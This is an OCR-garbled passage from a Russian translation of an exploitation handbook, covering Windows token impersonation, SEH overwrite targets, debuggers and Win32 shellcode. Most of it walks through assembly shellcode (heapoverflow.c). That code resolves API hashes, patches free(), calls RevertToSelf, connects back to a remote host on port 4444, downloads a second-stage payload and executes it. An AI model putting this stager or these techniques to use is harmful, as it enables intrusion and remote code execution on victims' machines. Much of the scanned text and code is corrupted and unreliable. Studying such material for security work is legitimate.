108 Глава 6. Дикий мир Windows свой идентификатор пользователя идентификатором, под которым подключился клиент. В Windows пользователь передает имя и пароль; FTP-сервер вызывает функцию LogonUser(), которая возвращает новый маркер. После этого порождается новый программный поток, который вызывает функцию SetThreadToken(new_token). Когда поток завершает обслуживание клиента, он вызывает функцию RevertToSelf() и присоединяется к пулу потоков, или вызывает функцию ExitThread() и прекращает существование. Можно сказать, что эта процедура открывает возможности для хакера. В Unix при эксплуатации уязвимости FTP-сервера после проведения аутентификации за счет переполнения буфера невозможно получить права root или права другого пользователя. В Windows вы с большой вероятностью найдете в памяти маркеры всех пользователей, недавно прошедших аутентификацию, сможете захватить их и воспользоваться ими. Конечно, во многих случаях сам FTP-сервер работает с правами SYSTEM, и вы сможете вызвать функцию RevertToSetf() для получения этой привилегии. С функцией CreateProcess() связано одно распространенное заблуждение. Хакеры Unix часто включают в свой внедряемый код вызов execve("/bin/sh"), но в Windows функция CreateProcess() использует первичный маркер в качестве маркера нового процесса и маркер текущего потока для доступа к файлам. Следовательно, если первичный маркер соответствует более низкому уровню доступа, чем маркер текущего потока, новый процесс не сможет прочитать или удалить собственный исполняемый файл. Хороший пример этой странности встречается при атаке на сервер IIS. Внешние компоненты IIS работают внутри процессов с первичными маркерами IUSR или IWAM вместо SYSTEM. Тем не менее, эти процессы часто имеют программные потоки, работающие с правами SYSTEM. Когда хакер берет под свой контроль один из таких потоков, загружает файл и вызывает CreateProcessQ, выясняется, что он сам работает с правами IUSR или IWAM, а файл принадлежит SYSTEM. Если вы окажетесь в такой ситуации, возможны два варианта: либо сгенерируйте функцией DuplicateTokenExQ новый первичный маркер, который можно назначить при вызове CreateProcessAsl)ser(), либо выполните всю работу из текущего потока, загрузив DLL непосредственно в память или используя простой внедряемый код, который делает все необходимое из исходного процесса. Обработка исключений в Win32 В Linux обработчики исключений обычно являются глобальными (то есть назначаются на уровне процесса). Обработчик исключения задается системной функцией signal(), которая вызывается при возникновении исключительных ситуаций вроде нарушения сегментации, или в терминологии Windows — Access Violation (AV). В Windows глобальный обработчик (в ntdlLdll) перехватывает любые исключения, а затем по довольно сложным правилам определяет, куда передать управление. Поскольку модель программирования Windows NT ориентирована на программные потоки, модель обработки исключении ткже ориентирована на них.
Гениальность и i луноеп> концепций DCOM и DCE-RPC 109 Рисунок 6.3 поможет в рассмотрении механизма обработки исключений в Windows NT. OllyDIni - crnd.exe HI» Vl$v* #*Ы$ РЫф* ОИ#*« WiM*** №fy И1"^д^ИМ^ДРж шыяяьЫ*"^ '?'&*#& J «2 * Ъ \ 9*ww *} ?*WW ШОигтш .7FFDE000..7FFDEFFF f 7FFDE00» B&12FD8C {РЗДяЗДг to SEH сЬлш} . I ^, • 00139000 (Top of thread's stack) { > , j'SSlZDSSe (BottoM of thread's stack) 00001E00 00000000 7FFDE000 ¦ 00000CF8 (Thread ID) 00000000 (Pointer to Thread Local Storage) 7FFDF000 00000002 (Last error = ERR0R_FILE_M0T_F0UND) 0012FF60 Pointer to next SEH record FFFFFFFF 0012FE14 77E96CFC FETCFN »o KFfrPFl CZ.re&dLcn*c[e\t +?C i\ J • КПГ-Е1ЬГ.-'''Е9СБРС I hrwMf ШШ8 t*«fti*tfte& **& s#fe 3 Рис. 6.З. OllyDbg позволяет увидеть, как организована обработка исключений в Windows NT И.» рисунка видно, что процесс crnd.exe состоит из двух потоков. Блок данных торого потока содержит указатель на связанный список (цепочку) структур исключений. Первый элемент структуры содержит указатель на следующий обработчик. Второй элемент структуры (Structured Exception Handler, SEH) со /и'ржит указатель на функцию. Как показано на рисунке, указатель на следующим обработчик равен -1; это означает, что следующего обработчика нет. Тем иг менее, если первый обработчик решит не обрабатывать исключение, оно оудет передано следующему обработчику (если он есть), и т. д. Если ни один обработчик не захочет обработать исключение, оно будет обработано умалчиваемым обработчиком исключений процесса. Обычно это приводит к аварийно му завершению процесса. (' ючки зрения хакера эта схема открывает несколько способом nepexnaia управления посредством переполнения кучи или аналогичных атак, позволят т11 х записать слово в память. У каждого процесса в \^1п32-нриложепиях пмс «чтя S1 Hi-структура, предоставленная операционной системой Она ошечап за оiпоражение окна, в котором пользователю сообщается о завершении нричожг имя Кг/ш в системе паботагт о'пшлчше. SKII по.июляп oi/i;i/imi. мим можгимг
110 Глава 6. Дикий мир Windows Другая возможность заключается в замене указателя на функцию обработчика в стеке или в замене умалчиваемого обработчика исключения. В Windows XP появляется еще один вариант: векторная обработка исключений. В сущности, это еще один связанный список, содержимое которого сначала проверяется кодом обработки исключений из ntdll.dll. Таким образом, появляется глобальная переменная, обращение к которой происходит при каждом исключении — идеальный кандидат для перезаписи. Отладчики для Windows В сущности, в качестве отладчика для Windows доступны только три инструмента: WinDbg из инструментария Microsoft, отладчик ядра Softlce и OllyDbg. При желании можно также использовать Visual Studio. Из всех перечисленных отладчиков SoftlCE - самый старый и самый мощный. В него включена поддержка макроязыка и возможность отладки пространства ядра. К недостаткам SoftlCE можно отнести невероятные трудности с установкой и излишнюю традиционность интерфейса. SoftlCE предназначен в первую очередь для отладки новых драйверов устройств. В течение долгого времени у хакеров просто не было другого выбора, поэтому по работе с SoftlCE написано несколько хороших учебников. Во время отладки ядра отладчик SoftlCE включает возможность записи для всех страниц; помните об этом, если разрабатываемое вами переполнение ядра работает только при поддержке SoftlCE. Отладчик WinDbg тоже обеспечивает отладку ядра (хотя для этого требуется последовательный кабель и другой компьютер), но он также чрезвычайно удобен для отладки переполнения в пользовательском адресном пространстве. В WinDbg реализован примитивный язык, по пользовательский интерфейс просто ужасен — он совершенно не приспособлен для быстрой и точной работы. Тем не менее, поскольку этот отладчик предлагается в Microsoft, он имеет ряд удобных функций вроде автоматического обращения к серверу символических имен. И все же лучшим из когда-либо созданных отладчиков является OllyDbg. Он обладает потрясающими возможностями вроде трассировки, установки точек прерывания в памяти (например, чтобы точка прерывания срабатывала при каждом обращении к данным из глобального пространства данных MSVCRT.DLL), «интеллектуальных» окон данных, ассемблера — то есть практически всем, что может потребоваться. Если OllyDbg не поддерживает какой-то нужной возхмож- ности, напишите автору, и вполне возможно, соответствующая функция появится в следующей версии. Потренируйтесь в подключении к процессам из OllyDbg, применении средств SPIKE и анализе возникающих исключений. Так вы быстро освоите превосходный графический интерфейс OllyDbg. Дефекты Win32 Win32 содержит немало дефектов, многие из которых не документированы и nuuiHH4JTJ п'лпп^птипк^мп шюмгшрмпгп wnn'A Ilsumiivipn (\\\n Ik 1111 '.I Innrlliln.i
Отладчики для Windows 111 iyA(), загружающая библиотеку DLL в память, не будет работать, если в значении PATH присутствует точка, а на компьютере не был установлен код исправлении этой конкретной ошибки. Функции WinSock отказываются работать, если ( irk" не выровнен по границе слова. Многие функции плохо документированы и MSDN (а то и вовсе не документированы). Мораль: если внедряемый код не работает, не исключено, что это объясняется лгфсктом Windows. Возможно, вам придется просто поискать обходное решение. Написание внедряемого кода для Windows I Описание надежного внедряемого кода для Windows в течение долгого времени считалось делом почти невозможным. Дело в том, что, в отличие от Unix, и машем распоряжении нет системных функций с известным интерфейсом API. Имеет этого процесс загружает указатели на внешние функции вроде (MsiteProcessQ или ReadFile() по различным адресам памяти. Но нападающему неизвестно, где именно в памяти они будут находиться. Ранние версии внедряемого кода были рассчитаны на конкретное местонахождение или пытались учадать один из нескольких вариантов. Но это означало, что при разработке профамм, эксплуатирующих уязвимости, приходилось создавать несколько разных версий для разных обновлений Service Pack или исполняемых файлов. Написание надежного и многократно используемого внедряемого кода основано на том факте, что Windows хранит указатель на блок окружения процесса по и шестому адресу: FS:[0x30]. Прибавление к нему значения Охс дает указатель и.i список модулей в порядке загрузки. Вы получаете связанный список, перегибом элементов которого можно отыскать библиотеку kernel32.dll. В ней можно найти функции LoadLibraryAQ и GetProcAddress(), позволяющие загрузить лю- оые необходимые библиотеки DLL и найти адреса любых других функций. Но.шожно, для этого вам придется вернуться к документации PE-COFF от Miciosoft и перечитать ее. t )дмако эта методика приводит к увеличению объема внедряемого кода — обычно о i ,'ЮО до 800 байт в зависимости от функциональности. В значительной сте- нпш оптимизированный код Алвара Флейка (Halvar Flake) занимает около .ИМ) байт. Конечно, существует и другой путь. Разные китайские хакеры писали внедряемый код, который ищет в памяти kernel32 посредством назначения обработчик;! in к чючений. Примеры практического применения этой методики против 11S можно найти в описании различных эксплойтов NSFOCUS. Ппрочгм, даже такой внедряемый код может быть довольно большим. По этой причине в CANVAS применяется отдельный внедряемый код из 150 байт, за шифрованный аддитивным кодировщиком CANVAS (аналог кодироваппя/дс i и шронанпя XOR с использованием addl вместо xorl). Этот код опираемся па ч< ч.ппмм обработки исключений для поиска в памяти процесса другою пне ||»'|гм1)|о кода, помеченного особым 8-байкжым префиксом. Данное решгпиг
112 Глава 6. Дикий мир Windows оказалось весьма надежным, а размещение основного кода в произвольном месте памяти позволяет не беспокоиться об ограничении его объема. Win32 API для хакера Функция VirtualProtect() обеспечивает управление доступом к странице памяти. Функция полезна для изменения сегментов .text и включения атрибута +w для модификации функций. Дизассемблируйте SetDefaultExceptionHandler, чтобы найти местонахождение глобального обработчика исключений для конкретного пакета Service Pack. Локальной памятью потока (Thread Local Storage, TLS) называется область памяти, используемая потоком для хранения переменных, специфических для данного потока (вместо кучи или стека). Иногда здесь хранятся полезные указатели, представляющие интерес для внедряемого кода. Для работы с TLS служат функции TlsSetValue() и TlsGetValueQ. Вызов функции WSASocket() вместо socket() задает сокет, который может использоваться в качестве стандартного канала ввода или вывода. Эта методика может применяться для сокращения объема внедряемого кода, если он порождает cmd.exe (проблема с сокетами, созданными функцией socket(), связана с атрибутом S0_0PENTYPE). Семейство Windows с точки зрения хакера о Win9x/Me. Полное отсутствие инфраструктуры безопасности (в целом системы не актуальны). о WinNT. • Библиотеки RPC с огромным количеством ошибок упрощают эксплуатацию дефектов служб RPC. В отличие от Win2k, структуры данных RPC по умолчанию не проверяются, поэтому практически любая порча данных ведет к сбою. • Отсутствие поддержки NTLMv2 и других средств аутентификации упрощает перехват данных. • IIS 4.0 работает как системный процесс и не перезапускается после сбоя. о Win2k. • Постепенное распространение NTLMv2. • Библиотеки RPC содержат меньше ошибок, чем в NT 4.0 (хотя и ненамного). • SP4 — очистка регистров исключений. • IIS 5.0 работает как системный процесс, но большинство обработчиков URL — нет (за исключением FrontPage, WebDav и т. д.). о WinXP. • Добавление векторной обработки исключений упрощает реализацию механизмов переполнения кучи.
Итоги 113 • SP1 — очистка регистров исключений. • IIS 5.1 — URL-адреса ограничиваются разумной величиной. ¦ > Windows 2003 Server. • Вся ОС, включая ядро, откомпилирована с защитой стека. • Части IIS перемещены в ядро. • Сервер IIS 6.0 наконец-то написан на C++, работает в совершенно новой конфигурации с управляющим процессом и набором управляемых процессов, каждый из которых может обслуживать порт 80/443 для конкретных URL-адресов и виртуальных хостов. • Возможность отсоединения от процесса без сбоя. В предыдущих версиях Win32 после присоединения отладчика к процессу последующее отсоединение приводило к аварийному завершению процесса. Иногда это бывало полезно, но чаще только раздражало. Итоги II ,)гой главе представлены основные различия между эксплуатацией уязвимо- ( icii 13 Linux/Unix и Windows. Аналоги многих высокоуровневых концепций (системных функций и памяти процессов) имеются и в Windows, но с точки цн'пня хакера их реализация принципиально другая.
ГЛАВА 7 Внедряемый код для Windows Подруга одного из авторов постоянно напоминает ему, что «писать внедряемый код проще простого». На самом деле это правда, но как обычно бывает в Windows, даже при решении простых задач нередко возникают невероятные сложности. Давайте познакомимся с общими принципами написания внедряемого кода, а затем займемся теми странностями, из-за которых разработка внедряемого кода для Windows оказывается таким волнующим и нетривиальным делом. Попутно мы обсудим различия между синтаксисом AT&T и Intel, поговорим о том, как различные дефекты системы Win32 отражаются на вашей работе, а также о направлениях современных разработок в области внедряемого кода для Windows. Синтаксис и фильтры Прежде всего внедряемый код для Windows редко бывает достаточно компактным, чтобы работать без шифрования/дешифрирования. В любом случае каждому, кто занимается эксплуатацией уязвимостеи, рекомендуется использовать стандартизированный интерфейс API для шифрования/дешифрирования, чтобы избежать необходимости постоянной доработки внедряемого кода. В Immunity CANVAS поддерживается аддитивная схема шифрования. Другими словами, внедряемый код интерпретируется как список беззнаковых целых чисел; к каждому числу в списке прибавляется число х, в результате чего создается другое беззнаковое целое, не содержащее недопустимых символов. Для определения значения х модуль шифрования случайным образом перебирает числа, пока не будет найдено допустимое. Случайные структуры такого рода работают очень хорошо; впрочем, многих устраивает операция XOR или любая другая символьная операция. Важно помнить, что шифр представляет собой обычную функцию z/=/(x), которая отображает х в другое символьное пространство. Если множество х состоит только из алфавитных символов нижнего регистра, то/(х) может быть функцией, которая преобразует символы нижнего регистра в произвольные двоичные значения, в символы верхнего регистра и т. д. Другими словами, стомкпувшпсь с действительно жестким фильтром, не сюит пытаться найти рпипше проб/к*
Подготовка 115 мы "мл нее случаи жизни» — возможно, будет проще преобразовать предназначенную для атаки строку в произвольную двоичную последовательность за не- i мни.ко этапов, применяя несколько схем дешифрирования. I пк пли иначе, тема шифрования/дешифрирования в этой главе вообще не рас- i м»ирпвастся. Предполагается, что вы уже знаете, как внести произвольные мишипые данные в пространство процесса и передать им управление. В ходе млииеаиия внедряемого кода для Linux вы должны были неплохо освоить ас- i емолер для х86. Имеет смысл писать внедряемый код для Win32 с применением ie\ же инструментов, что и для Linux. Если вы научитесь пользоваться одним имсгрументарием для решения всех задач, в долгосрочной перспективе это упростит вашу работу. Поэтому вряд ли стоит покупать Visual Studio специаль- Hi> л.чл написания внедряемого кода. Cygwin (www.cygwin.org/) — хороший (и к liiMv же бесплатный) инструмент для этого. Многие специалисты предпочита- ми NASM или другие ассемблеры, но с помощью этих инструментов обычно фудпо писать вспомогательные функции и проводить тестовую компиляцию. ¦НИМАНИЕ Между основными разновидностями ассемблерного синтаксиса (AT&T и Intel) существуют два главных различия. Во-первых, в синтаксисе AT&T используется мнемоника «источник, приемник», тогда как в синтаксисе Intel — мнемоника «приемник, источник». Это может вызвать путаницу при совместном применении утилит (INU gas (AT&T) и OllyDbg или других утилит Windows, поддерживающих синтаксис Inlol. Но даже если вы научитесь мысленно переставлять операнды, существует <мцо одно важное различие, касающееся синтаксиса адресации. И адресации х86 задействованы два регистра, прибавляемое смещение и мас- мпабный коэффициент, который может быть равен 1, 2, 4 или 8. Команда mov eax, [ecx+ebx*4]+5000] (в синтаксисе Intel для OllyDbg) эквивалентна команде mov 5000(%ecx,%ebx,4),%eax в синтаксисе ассемблера GNU (AT&T). I In взгляд авторов лучше изучить и применять синтаксис AT&T по одной простой причине —он лишен двусмысленности. Возьмем команду mov eax, [ecx+ebx]. Какой регистр является базовым, и какой содержит масштабный коэффициент? Это (>( :обенно существенно при ограничении состава используемых символов, потому ч ю команды после смены регистров выглядят похожими, но транслируются в совершенно разные машинные коды. Подготовка I и иная проблема при написании внедряемого кода для Windows заключается и Юм, что Win32 не предоставляет прямого доступа к системным функциям. U м, ип cipainio, это ограничение было сделано намеренно. Многие недостатки • и* и'мы Windows нередко оборачиваются се достоинствами. В данном случае !•.! 1р.|(н>|чпки Win32 получают возможность исправлять или расширять неео- н< ршгмиып интерфейс API внутренних системных функций, не нарушая рабо- и.| приложений, использующих высокоуровневый интерфейс Win32 APJ 'hi i инчупа к небольшому фрагменту машинного кода, работающему в друтп м|ии рамме, ваш внедряемый код должен проделать немалую pa6oiy:
116 Глава 7. Внедряемый код для Windows о найти необходимые функции Win32 API и построить таблицу вызовов; о загрузить библиотеки, необходимые для подключения; о подключиться к удаленному серверу, загрузить дополнительную порцию внедряемого кода и выполнить его; о «чисто» завершить работу, продолжив выполнение процесса или корректно завершив его; о предотвратить завершение других программных потоков; о исправить одну или несколько куч для использования функций Win32, работающих с кучей. Раньше поиск необходимых функций Win32 API сводился к простому жесткому кодированию («прошивке») во внедряемом коде либо адресов самих функций, либо адресов GetProcAddressA() и LoadLibraryA() для конкретной версии, Windows. Жесткое кодирование до сих пор остается одним из самых быстрых методов внедрения, но у него есть недостаток — привязка к конкретной версии исполняемого файла или Windows. И все же, как научил нас червь Slammer, жесткое кодирование адресов иногда может быть полезным. ПРИМЕЧАНИЕ Исходный текст Slammer легко найти в Интернете. Это хороший пример жесткого кодирования адресов. Чтобы избежать зависимости от конкретной конфигурации исполняемых файлов или ОС, необходимы другие приемы. Один из приемов поиска функций основан на эмуляции метода, используемого обычными библиотеками DLL для подключения к процессу. Кроме того, можно поискать в памяти библиотеку kernel32.dll и найти для нее блок окружения процесса (Process Environment Block, РЕВ); кстати, это часто практикуется китайскими хакерами. Позднее в этой главе будет показано, как использовать систему обработки исключений Windows для поиска в памяти. Анализ блока РЕВ Следующий пример позаимствован из внедряемого кода, изначально использовавшегося для продукта CANVAS. Прежде чем переходить к построчному анализу, следует знать о некоторых архитектурных решениях, принятых при разработке кода: о Надежность считалась ключевым фактором. Код должен был работать всегда, без каких-либо внешних зависимостей. о Также была важна возможность расширения. Логичный, понятный код легче модифицировать в случае каких-то непредвиденных обстоятельств. о Чем компактнее внедряемый код, тем лучше — объем важен всегда. Тем не менее, сокращение объема внедряемого кода требует времени, к тому же код становится запутаннее, и с ним труднее работать. Из-за этого приведенный далее фрагмент относительно велик. Проблема будп решена тидпгс посрсд
Анализ блока РЕВ 117 сгиом поиска структур SEH (Structured Exception Handler). Но если вам захочется попрактиковаться в изучении х86 и оптимизировать этот код — пожалуйста, не стесняйтесь. Тик как код представляет собой простой С-файл, обрабатываемый компилятором дсс, он может быть написан и откомпилирован на любой платформе х86, iи одерживаемой gcc. Давайте разберем программу heapoverflow.c строку за строки ii и посмотрим, как она работает. Файл Heapoverflow.c I Liiiiiim первым шагом должно быть включение заголовка windows.h. Это нужно я мм того, чтобы при необходимости мы могли написать код, специфический для Win:$2. // Опубликовано на условиях лицензии GNU PUBLIC LICENSE v2 0 //include <stdio h> //include <malloc h> //ifdef Win32 //include <windows h> //endif ,{;ncm следует функция, которая представляет собой тонкую оболочку для команд компилятора gcc — в данном случае команд asm() с командами .set. Эти команды не генерируют кода и не занимают лишнего пространства в памяти; им и всего лишь создают удобное место для определения констант, которые бу- »ivi использоваться во внедряемом коде. void (jetprocaddrO ( /* Глобальные определения */ asm(" set KERNEL32HASH. 0x000d4e88 set NUMBEROFKERNEL32FUNCTI0NS.0x4 set VIRTUALPROTECTHASH. 0x38dl3c set GETPROCADDRESSHASH,0x00348bfa set LOADLIBRARYAHASH, 0x000d5786 set GETSYSTEMDIRECTORYAHASH, 0x069bb2e6 set WS232HASH. 0x0003ab08 set NUMBEROFWS232FUNCTIONS.0x5 set CONNECTHASH. 0x0000677c set RECVHASH, OxOOOOOccO set SENDHASH, 0x00000cd8 set WSASTARTUPHASH, 0x00039314 set SOCKETHASH. 0x000036a4 sot MSVCRTHASH. 0x00037908 set HUMBEROFMSVCRTFUNCTI0NS, 0x01 sol FREEHASH. 0x00000c4e •>et ADVAPI32HASH. 0x000ca608 M'l NUMBEROFADVAPI32FUNCTI0NS. 0x01 set RfVFRTTOSFlFHASH. 0x000dcdb4
118 Глава 7. Внедряемый код для Windows Теперь начинается внедряемый код. Мы пишем позициоиио-независимый код (Position-Independent Code, PIC), поэтому он начинается с занесения текущего адреса в %ebx. В дальнейшем все ссылки на локальные переменные задаются относительно %ebx. Собственно, настоящий компилятор действует примерно так же. /*НАЧАЛ0 ВНЕДРЯЕМОГО КОДА */ asm (" mainentrypoint call geteip geteip pop %ebx Так как мы не знаем, куда именно ссылается ESP, значение этого регистра необходимо нормализовать. Если при использовании уязвимости %esp указывает на ваш код, перед внедряемым кодом рекомендуется включить команду: sub $50. Uesp Если смещение окажется слишком большим (в нашем примере используется значение 0x1000), произойдет выход за границы сегмента памяти, что приведет к нарушению доступа при записи в стек. Мы выбрали разумное значение, которое надежно работает в большинстве ситуаций. movl u'ebx.^esp subl $0x1000,?esp Странно, но факт — для работы некоторых функций Win32 в ws2_32.dll значение %esp должно быть выровнено (возможно, из-за ошибки в библиотеке ws2_32.dll). Выравнивание осуществляется следующей командой: and SOxfffffffO.Sesp Наконец, мы приступаем к заполнению таблицы функций. Прежде всего необходимо получить адреса необходимых функций из kernel32.dll. Процесс будет разбит на три вызова внутренних функций, которые заполнят таблицу за нас. В регистре ЕСХ сохраняется количество функций в списке, после чего начинается цикл. При каждом проходе цикла мы передаем getfuncaddress() хеш-код kernel32.dll (не забывайте про символы .dll) и хеш-код искомой функции. Возвращенный программой адрес функции заносится в таблицу, на которую указывает %edi. Стоит обратить внимание на единый метод адресации, используемый в коде. Конструкция M?r/C4-geteip(%ebx) всегда указывает на метку, что позволяет легко использовать ее для обращения к хранимым переменным. // Подготовка цикла movl $NUMBER0FKERNEL32FUNCTI0NS.3,'есх lea KERNEL32HASHESrABlE-geteipUebx).3tesi lea KERNEL32FUNCTI0NSTABLE geteipUebx) .Sedi // Цикл getkerne!32functions // Занесение в стек хеш-кода искомой функции, // на который ссылается %csi pushl aesi) pushl $KERNEL32HASH call getfuncaddress movl *eax.(Sech) addl $4. ?oedi
Анализ блока РЕВ 119 •иHI VI. Uesi limp сjpLkernel32functions 111и /и* заполнения таблицы адресами функций kernel32.dll можно переходить И получению нужных функций в MSVCRT. В следующем коде прослеживается 1й же циклическая структура. Мы разберем принципы работы функции ytHluiH riddress() тогда, когда доберемся до нее, а пока будем просто считать, что ним рпОотает. // ПОЛУЧЕНИЕ ФУНКЦИЙ MSVCRT пи iv I 1.NUMBER0FMSVCRTFUNCTI0NS. %есх !.м MSVCRTHASHESTABLE-geteipUebx) ,*esi h'.i MSVCRTFUNCTIONSTABLE-geteip«ebx) ДесИ <ir I in\v(Ttf unctions- inr.lil (%esi) pu-.hl $MSVCRTHASH • .il I (ictfuncaddress niiivl ftoax.Uedi) .nidi $4. Uedi •nidi (M. Uesi loop (jotmsvertfunctions Пгрпю/шение кучи заключается в повреждении ее внутренних структур с целый перехвата управления. Но если с кучей работают и другие программные нитки, могут возникнуть проблемы при попытках освобождения памяти, выде- <м iiiinii \\ куче другими потоками вызовом free(). Чтобы этого не произошло, мы мм/шфицируем функцию free() так, чтобы она просто возвращала управление. Дчч лого нам потребуется изменить режим защиты страницы, в которой находим и функция free(). Как и для большинства страниц, содержащих исполняемый lui/i. для страницы с функцией free() разрешено только чтение и исполнение — мы должны назначить ей разрешения +rwx. Функция VirtualProtect находится н MSVCRT, так что она уже должна присутствовать в нашей таблице указателей ни функции. Мы временно сохраняем указатель па free() во внутренних струк- • Vp.ix данных (и не беспокоимся о восстановлении прежних разрешений): // VIRIUALPROTECT FREE +rwx Iim HUI--geteip«ebx).*eax |иг,hi %eax pii'.hl $0x40 pir.hl $50 ни iv I IREE-geteip(*ebx),Sedx pir.hl ^edx • .ill M/IRTUALPROTECT-geteipUebx) '/ hoc становление edx для FREE nimvI fREE-geteipUebx).Sedx / <«1мона возвращаемымым значением ini.vl 0xc3c3c3c3.Uedx) i ()( ыгшяем разрешения +rwx I «urpi, free() вообще не обращается к куче, а просто возвращает управление. 1< м «,iMi.iM мы предотвращаем возможные нарушения доступа со стороны дру- мг 111><>| |>аммных потоков на время перехвата управления. И i пине внедряемого кода находится строка ws_32.dll. Мы хотим загрузить бнб мннгку (гс/ш она еще не загружена), инициализировать ее и использован» д/ш
120 Глава 7. Внедряемый код для Windows подключения к хосту, который будет осуществлять прослушивание на ТСР- порте. К сожалению, на этом пути возникает ряд проблем. При эксплуатации некоторых уязвимостей (например, RPC LOCATOR) загрузка ws2_32.dll возможна только после предварительного вызова RevertToSelf(). Дело в том, что анонимный пользователь не имеет разрешений для чтения файлов, а ваш программный поток временно заимствовал права анонимного пользователя для обработки запроса. Следовательно, мы должны предположить, что библиотека ADVAPI.dll уже доступна, и воспользоваться ею для поиска RevertToSelf. Программы Windows, не загружающие ADVAPI.dll, встречаются крайне редко, но если библиотека не загружена, в этой части внедряемого кода произойдет сбой. Можно проверять указатель на RevertToSelf и вызывать функцию только тогда, когда указатель отличен от нуля. Здесь эта проверка не выполняется, потому что пользы от нее немного, и она лишь увеличивает объем внедряемого кода на несколько байтов. // Теперь мы вызываем функцию RevertToSelfО, чтобы сделать что-то полезное // Без этого прочитать файл ws2_32 dll не удастся, movl $NUMBEROFADVAPl32FUNCTI0NS,%есх lea ADVAPl32HASHESTABLE-geteip«ebx) .Sesi lea ADVAPl32FUNCTI0NSTABLE-geteip«ebx). %edi getadvapi32functions. pushl Uesi) pushl $ADVAPI32HASH call getfuncaddress movl Ueax.Uedi) addl $4,?esi addl $4,uedi loop getadvapi32functions call *REVERTTOSELF-geteip«ebx) После возвращения исходному процессу прав пользователя становится возможным чтение ws2_32.dll. Но в некоторых версиях Windows из-за присутствия в пути точки (.), функция LoadLibraryA() находит ws2_32.dll только при указании полного пути. А это означает, что нам придется вызвать GetSystemDirectoryA() и поместить полученный результат перед строкой ws2_32.dll. Мы сделаем это во временном буфере (BUF) в конце внедряемого кода: // Вызвать getsystemdirectoryA и подставить перед ws2_32 dll pushl $2048 lea BUF-geteipUebx).Xeax pushl Ueax call *GETSYSTEMDIRECTORYA-geteip(M)x) // Текущий системный каталог загружен в BUF, // теперь к нему необходимо присоединить \\WS2_32 dll // Это требуется из-за ошибки в функции LoadLibraryA, которая // не находит WS2_32 dll из-за присутствия точки lea BUF-geteipUebx) Деах findendofsystemroot cmpb $0,Ueax) je foundendofsystemroot inc %eax jmp findendofsystemroot
Анализ блока РЕВ 121 f oundondofsystemroot: // I ЛХ указывает на завершающий нуль-символ C:\\windows\\system32 lo WS2_32DLL-geteip(%ebx) ,%esi '.I n pyintobuf: inovl) Uesi). Sdl inovh fcdl.Ueax) lesl Sdl.fcdl ,|/ donewithstrcpy itu ^esi int fteax imp sLrcpyintobuf donewithstrcpy. //loadlibrarya(\"c Wwinnt\\system32\\ws2_32 dll\"), lea BUF-geteip(*ebx),Sedx pushl %edx (dll *LOADLIBRARY-geteip(Sebx) I смерь мы можем быть уверены в том, что библиотека ws2_32.dll загружена, и можем вызывать ее функции, необходимые для подключения. iiiov I $NUMBER0FWS232FUNCTI0NS, %есх le.i WS232HASHESTABLE-geteip(^ebx),%esi led WS232FUNCTI0NSTABLE-geteipUebx) .fcedi <jelws232functions // Получение getprocaddress // Хеш-код getprocaddress pushl Uesi) // Занесение в стек хеш-кода KERNEL32 dll pushl $WS232HASH (all getfuncaddress inovl Ueax.Uedi) add! $4, %esi «iddl $4. %edi loop getws232functions // Установить BUFADDR на границу четвертого слова inovl Kesp.BUFADDR-geteipUebx) Конечно, для работы с ws2_32.dll необходимо сначала вызвать WSASTARTUP. Д;гже если библиотека ws2_32.dll улсе инициализирована, повторный вызов WSASTARTUP вреда не принесет. inovl BUFADDR-geteipUebx). Ueax pushl %eax pushl $0x101 (all *WSASTARTUP-geteipUebx) //call SOCKET pushl $6 pushl $1 pushl $2 <<ill *SOCKET-geteipUebx) inovl fceax.FDSPOJ-geteipUebx) I смерь можно вызвать функцию connectQ с использованием адреса, «замниого» и конце внедряемого кода. Если вызов connectQ завершится неудачей, мы передаем
122 Глава 7. Внедряемый код для Windows управление exitthread, что приводит к вызову исключения и аварийному завершению. Иногда вызывается функция ExitProcess(), а иногда лучше спровоцировать исключение для обработки процессом: // call connect // push addrlen-16 push $0x10 lea SockAddrSPOT-geteipUebx).*esi // Порт 4444 pushl %esi II push fd pushl Ueax call *CONNECT-geteip«ebx) test ЯеахДеах jl exitthread Затем с удаленного сервера читается значение объема внедряемого кода «второго уровня». pushl $4 call recvloop // Значение находится в первом слове BUF. // Зная его, можно прочитать в буфер // соответствующий объем внедряемого кода movl BUFADDR-geteipUebx) ,&edx movl (*edx).Sedx // Теперь в edx хранится значение объема push %e6x II Прочитать данные в BUF call recvloop // Остается только выполнить код movl BUFADDR-geteipUebx) .fcedx call nedx На этой стадии управление передается внедряемому коду второго уровня. Как правило, внедряемый код второго уровня выполняет многие из описанных процедур заново. Теперь рассмотрим некоторые вспомогательные функции, использовавшиеся во внедряемом коде. Далее приведена функция recvloop, которой при вызове передается значение объема данных. Буфер, в который читаются данные, определяется значениями «глобальных» переменных. Как и функция connect(), при обнаружении ошибки recvloop передает управление коду exitthread. II Функция recvloop asm(" // НАЧАЛО ФУНКЦИИ RECVLOOP // Аргументы объем читаемых данных // Данные читаются в *BUFADDR recvloop- pushl %ebp movl Uesp.Uebp push %etix push %edi
Анализ блока РЕВ 123 // Линчуй argl в edx niuvl OxBUebp). %e6x iimv I IHJfADDR-geteipUebx) ,?edi i .i 11rocvloop // Но аргумент - но recvO портит содержимое edx! Соответственно. // мы сохраняем его здесь pir.hl luedx // (Dual и |ni\hl $0 // Ion inr.hl $1 //Ahuf pir.hl Uedi inovl rDSPOT-geteip(*ebx).*eax pir.hl Ueax i .ill *RECV-geteip(*ebx) // Предотвращает зацикливание при закрытии подключения сервером мир $0xffffffff Деах |с oxitthread pop I uedx // Вычесть объем прочитанных данных Mih %eax,%e6x II Сместить указатель буфера вперед -Kid ueax.^edi // Проверить, не пора ли выходить из функции // (от recv получен ноль) tost ЯеахДеах |о donewithrecvloop // Прочитаны все данные, которые требовалось прочитать lost %еМ.%е6х ic donewithrecvloop imp callrecvloop donewithrecvloop // Завершение recvloop pop ^edi pop %<?йх iiiov ftebp. /oesp pop ЯсЬр iot $0x04 // KOI II11 ФУНКЦИИ
